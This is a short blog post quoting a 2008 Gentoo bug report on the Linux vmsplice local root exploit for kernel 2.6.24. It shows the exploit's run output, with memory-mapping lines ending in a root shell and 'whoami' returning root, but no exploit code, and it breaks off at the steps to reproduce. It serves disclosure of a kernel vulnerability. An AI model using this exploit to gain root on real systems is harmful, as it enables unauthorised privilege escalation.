Comments (3)

[Bug 209460] New: Linux vmsplice Local Root Exploit

Filed in Sysadmin, 10. February 2008, 8:53 am

Bug 209460 kam gestern in Gentoos Bugzilla an …
I got root on my sys-kernel/gentoo-sources-2.6.24 with this exploit:
% ./a.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7db8000 .. 0xb7dea000
[+] root
# whoami
root
Reproducible: Always
Steps to [...]